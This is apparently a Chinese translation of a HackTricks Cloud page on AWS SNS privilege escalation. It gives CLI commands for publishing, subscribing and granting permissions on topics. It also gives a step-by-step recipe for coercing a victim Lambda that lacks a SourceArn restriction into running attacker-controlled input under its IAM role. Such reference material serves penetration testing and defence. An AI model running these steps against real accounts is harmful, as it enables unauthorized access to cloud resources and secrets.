AWS - SNS Privesc
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
SNS
更多信息请查看:
sns:Publish
攻击者可能向 SNS 主题发送恶意或不需要的消息,可能导致数据损坏、触发非预期操作或耗尽资源。
aws sns publish --topic-arn <value> --message <value>
潜在影响:漏洞利用、数据损坏、非预期操作或资源耗尽。
sns:Subscribe
攻击者可能会订阅 SNS 主题,从而可能未经授权访问消息,或破坏依赖该主题的应用程序的正常运行。
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Potential Impact: 未经授权访问消息(敏感信息),依赖受影响主题的应用可能遭受服务中断。
sns:AddPermission
攻击者可能授予未授权的用户或服务对 SNS 主题的访问权限,从而可能获取更多权限。
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Potential Impact: 未经授权访问该 topic、消息暴露,或被未授权的用户或服务操纵 topic,导致依赖该 topic 的应用程序正常功能中断。
通过滥用通配符 SNS 权限(no SourceArn)调用 Lambda
如果 Lambda function 的基于资源的策略允许 sns.amazonaws.com 在不限制源 topic(SourceArn)的情况下调用它,则任何 SNS topic(即使在另一个账户中)都可以订阅并触发该函数。具有基本 SNS 权限的 attacker 可以强制该 Lambda 在其 IAM role 下执行,并使用 attacker 控制的输入。
Tip
TODO:这真的可以在 cross-account 场景下完成吗?
前提条件
- Victim Lambda policy 包含如下声明,且没有
SourceArn条件:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
滥用步骤(同一账户或跨账户)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
潜在影响: 受害者 Lambda 使用其 IAM 角色执行,处理攻击者控制的输入。 这可能被滥用,使函数执行敏感操作(例如,写入 S3、访问 secrets、修改资源),具体取决于其权限。
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

